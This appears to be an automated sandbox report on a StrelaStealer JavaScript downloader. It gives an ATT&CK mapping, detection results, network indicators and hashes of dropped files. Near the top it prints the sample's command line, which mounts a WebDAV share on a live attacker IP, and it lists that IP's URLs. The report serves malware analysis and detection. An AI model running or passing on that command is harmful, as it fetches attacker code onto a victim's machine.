Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
225111419252504808.js	7%	Virustotal		Browse
225111419252504808.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/8	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/space0	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/1	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/4	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/8	net.exe, 00000007.00000003.1517166094.000001DC1945C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1523159534.000001DC1945C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2745114171.000001B206683000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1521409981.000001B2064B0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/4	net.exe, 00000007.00000003.1517166094.000001DC1945C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1523159534.000001DC1945C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1523159534.000001DC1945C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1522937037.000001DC19430000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1517166094.000001DC1944D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1523159534.000001DC1944D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/1	net.exe, 00000007.00000003.1517567264.000001DC19483000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1514206356.000001DC1947D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1524708093.000001DC19484000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/space0	net.exe, 00000007.00000002.1522937037.000001DC19430000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588577
Start date and time:	2025-01-11 02:35:20 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	225111419252504808.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 52.6.155.20, 52.22.41.97, 3.219.243.226, 3.233.129.217, 23.209.209.135, 199.232.214.172, 184.28.90.27, 2.16.168.107, 2.16.168.105, 52.149.20.212, 23.56.162.204, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:36:24	API Interceptor	20x Sleep call for process: powershell.exe modified
20:36:28	API Interceptor	1x Sleep call for process: net.exe modified
20:36:28	API Interceptor	2x Sleep call for process: svchost.exe modified
20:36:35	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1601021956623126375.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22346161431640618987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5749110051971019035.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2279239302728123306.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	30362110952254914638.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1849946161599211804.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2752019937704124971.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	168423236840504572.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3097128047142338539.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1601021956623126375.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22346161431640618987.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	5749110051971019035.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1849946161599211804.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	168423236840504572.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3097128047142338539.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	142628891044814616.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	152068002360415087.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	212032324439912626.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1601021956623126375.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	66419266296038088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22346161431640618987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5749110051971019035.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2279239302728123306.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	30362110952254914638.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18731127942186526806.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1792532021822412669.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1849946161599211804.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021847075401163
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAU:RJE+Lfki1GjHwU/+vVhWqp1
MD5:	259C8AF0672074C7795B91B65C3A93CE
SHA1:	D6C4C50FDBB256651E1F0153FC07B199107B1879
SHA-256:	84111515C96109E44DA228495AC5F1059771F62887B32D9CFCEF168002F250B0
SHA-512:	623944518F122642AA625095AF44556D3F6B79B8C076D6C42D666A9F73B7319C82EA37400FF0DEE6061515898A381E6670CABACA94597A1397935AC97081ED62
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x044625d8, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433168454770697
Encrypted:	false
SSDEEP:	1536:TSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:TazaHvxXy2V2UR
MD5:	BAEB08C730E471A30A86558320407EC0
SHA1:	BC492C1D67CEE889E903853E45E5DF38E1946607
SHA-256:	64165021B2107DD115989BF3A69C2B488CC6F7DBCE52620A29F47A7F92FE01C2
SHA-512:	02FA241EEC86F625593CF07901C2A5AF07F17E8DD6B9E3F0C088D0B60543A449DD7170D644A29AB7FA46678372460A166E145F6353E299554A5D4F6FBDB56BC8
Malicious:	false
Preview:	.F%.... ...............X\...;...{......................0.x...... ...{s..$...}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{..................................H....$...}q......................$...}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08023195408935217
Encrypted:	false
SSDEEP:	3:rS/yYePSrLFvsl/nqlFcl1ZUllllcxkL/lillGBnX/l/Tj/k7/t:rdzPgVsl/qlFclQ/lGiLtG254
MD5:	5493B0DC465D36517E98F6A9C2015D9C
SHA1:	5DBB48641A08C627B1E712FF7F6DD4BAF1D57B95
SHA-256:	2D7F4370AB3C0B9888D83E67C28BE9E3904DF7416F1FC0583D0D80D5FEECBE74
SHA-512:	1D24749A65610F6E381A65CCEDF3ADE7D8C9E02D8C922427AD2D7D837E06DDE6ED9EC820A7657B121BB8FDFB1E2A0A8737CE4E83D928D53A290AC8414B593F30
Malicious:	false
Preview:	NQi......................................;...{...$...}... ...{s.......... ...{s.. ...{s.P.... ...{s......................$...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.134467451522678
Encrypted:	false
SSDEEP:	6:iO4qVVY3+q2PCHhJ2nKuAl9OmbnIFUtSqVL0WZmwsqVLDVkwOCHhJ2nKuAl9Omb5:7n6+vBHAahFUtZL0W/LLDV56HAaSJ
MD5:	03BFD9F9AA12387AB037E5A3436B4D59
SHA1:	427E7790C9852DB6E8133F7C3712789892F6EFA4
SHA-256:	1BE095E23D26EA12FA55FA41D8E9D395A0F26CF590069C4FBFADBC8EEFE6275D
SHA-512:	B62386ED73287AAF179312F26CDD214B825820B06C4C8D45A3B9ACE24ABF6878050972266243DB3A0DDD710346468C228BE488692C3980464194E005C689E3A0
Malicious:	false
Preview:	2025/01/10-20:36:28.020 1a5c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:36:28.023 1a5c Recovering log #3.2025/01/10-20:36:28.023 1a5c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.134467451522678
Encrypted:	false
SSDEEP:	6:iO4qVVY3+q2PCHhJ2nKuAl9OmbnIFUtSqVL0WZmwsqVLDVkwOCHhJ2nKuAl9Omb5:7n6+vBHAahFUtZL0W/LLDV56HAaSJ
MD5:	03BFD9F9AA12387AB037E5A3436B4D59
SHA1:	427E7790C9852DB6E8133F7C3712789892F6EFA4
SHA-256:	1BE095E23D26EA12FA55FA41D8E9D395A0F26CF590069C4FBFADBC8EEFE6275D
SHA-512:	B62386ED73287AAF179312F26CDD214B825820B06C4C8D45A3B9ACE24ABF6878050972266243DB3A0DDD710346468C228BE488692C3980464194E005C689E3A0
Malicious:	false
Preview:	2025/01/10-20:36:28.020 1a5c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:36:28.023 1a5c Recovering log #3.2025/01/10-20:36:28.023 1a5c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.188150256904031
Encrypted:	false
SSDEEP:	6:iO4qVZ7N+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSqVZvZmwsqVZGX9VkwOCHhJ2nKuA:7nZIvBHAa8uFUtZp/Ls56HAa8RJ
MD5:	278DCE175BE38D021ACB03590E95C854
SHA1:	E004B99C8C50C10C7CA3492CAAD81A23DE667B65
SHA-256:	849F440CBF77375DDCF1D483BA86B0544F09C4C14AD669C8E356767DBF77A6E6
SHA-512:	26662617B0536E708699296098BB078A7B3C524947A6010B5802E0A4EE26065EAE0868E4F8209C8490F3E3B2C069796C0C0E250A13A366B1FA4B81F38181D447
Malicious:	false
Preview:	2025/01/10-20:36:28.074 c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:36:28.076 c58 Recovering log #3.2025/01/10-20:36:28.077 c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.188150256904031
Encrypted:	false
SSDEEP:	6:iO4qVZ7N+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSqVZvZmwsqVZGX9VkwOCHhJ2nKuA:7nZIvBHAa8uFUtZp/Ls56HAa8RJ
MD5:	278DCE175BE38D021ACB03590E95C854
SHA1:	E004B99C8C50C10C7CA3492CAAD81A23DE667B65
SHA-256:	849F440CBF77375DDCF1D483BA86B0544F09C4C14AD669C8E356767DBF77A6E6
SHA-512:	26662617B0536E708699296098BB078A7B3C524947A6010B5802E0A4EE26065EAE0868E4F8209C8490F3E3B2C069796C0C0E250A13A366B1FA4B81F38181D447
Malicious:	false
Preview:	2025/01/10-20:36:28.074 c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:36:28.076 c58 Recovering log #3.2025/01/10-20:36:28.077 c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\95529f5b-beba-402b-a99f-b161af6fa85f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9729052853641855
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqShsBdOg2HTcaq3QYiub6P7E4T3y:Y2sRds1ydMHq3QYhbS7nby
MD5:	1CC459A2A060D5E9375949CC35D43962
SHA1:	5A4EFF5C76C580A1626C9D27801B9A0CF4FC861C
SHA-256:	4F396AFBC47D81915F1DDF4C542C7BC019BA0A1F18AB8E0C5B5499BAE3B2DE10
SHA-512:	33519AB75EA27F03E53319904C55F17A7F292C324B9F1F420F36F784597BBE13C7ECF9B1399A0283D304692A27F2C3B3BBCB0D37552B2D978D133745262FD58B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381119399780746","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":303502},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.9729052853641855
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqShsBdOg2HTcaq3QYiub6P7E4T3y:Y2sRds1ydMHq3QYhbS7nby
MD5:	1CC459A2A060D5E9375949CC35D43962
SHA1:	5A4EFF5C76C580A1626C9D27801B9A0CF4FC861C
SHA-256:	4F396AFBC47D81915F1DDF4C542C7BC019BA0A1F18AB8E0C5B5499BAE3B2DE10
SHA-512:	33519AB75EA27F03E53319904C55F17A7F292C324B9F1F420F36F784597BBE13C7ECF9B1399A0283D304692A27F2C3B3BBCB0D37552B2D978D133745262FD58B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381119399780746","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":303502},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.236067603170062
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bUTqgujH:S43C4mS7fFi0KFYDjr3LWO3V3aw+bUTa
MD5:	72D6A84AF5ED843C7D7239604E831B27
SHA1:	24D05AE81CAF7BBD113EBD42CE7122B1CF88E098
SHA-256:	3625D7A15F8C58960EA9052B13365E3C4082155B9A3B453BD2DA3EE091B8CC5D
SHA-512:	F2B9EC34A4F9878FCB4D08D87EBD682093BBA01BD22D086F09A53522B8455854851DB1F61B2017EFCEAF83714F7EEC0616C1ADA7FFAE51474A024FB339ACC88E
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.191809022155442
Encrypted:	false
SSDEEP:	6:iO4qV5+q2PCHhJ2nKuAl9OmbzNMxIFUtSqVw8IXZmwsqVo69VkwOCHhJ2nKuAl9c:7n0vBHAa8jFUtZY/Lo6D56HAa84J
MD5:	2870922887277832923238C6F024EEAC
SHA1:	F2C193C6D6F2388DF66079A8FF5FE2C88102C07E
SHA-256:	FA20137D79826C41508D92192A76C409E674A42BC08A3A19D666CAB99574C971
SHA-512:	37CA6AFF6902F126FF2E2CEB333E75A3D1B8D602A6F54B1F9E94F3E64E52529EE65BEE834BBA3DE5123B882A1DFD6CB5760A437A4A180D1FC0BC2D175D39715C
Malicious:	false
Preview:	2025/01/10-20:36:28.919 c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:36:28.921 c58 Recovering log #3.2025/01/10-20:36:28.922 c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.191809022155442
Encrypted:	false
SSDEEP:	6:iO4qV5+q2PCHhJ2nKuAl9OmbzNMxIFUtSqVw8IXZmwsqVo69VkwOCHhJ2nKuAl9c:7n0vBHAa8jFUtZY/Lo6D56HAa84J
MD5:	2870922887277832923238C6F024EEAC
SHA1:	F2C193C6D6F2388DF66079A8FF5FE2C88102C07E
SHA-256:	FA20137D79826C41508D92192A76C409E674A42BC08A3A19D666CAB99574C971
SHA-512:	37CA6AFF6902F126FF2E2CEB333E75A3D1B8D602A6F54B1F9E94F3E64E52529EE65BEE834BBA3DE5123B882A1DFD6CB5760A437A4A180D1FC0BC2D175D39715C
Malicious:	false
Preview:	2025/01/10-20:36:28.919 c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:36:28.921 c58 Recovering log #3.2025/01/10-20:36:28.922 c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
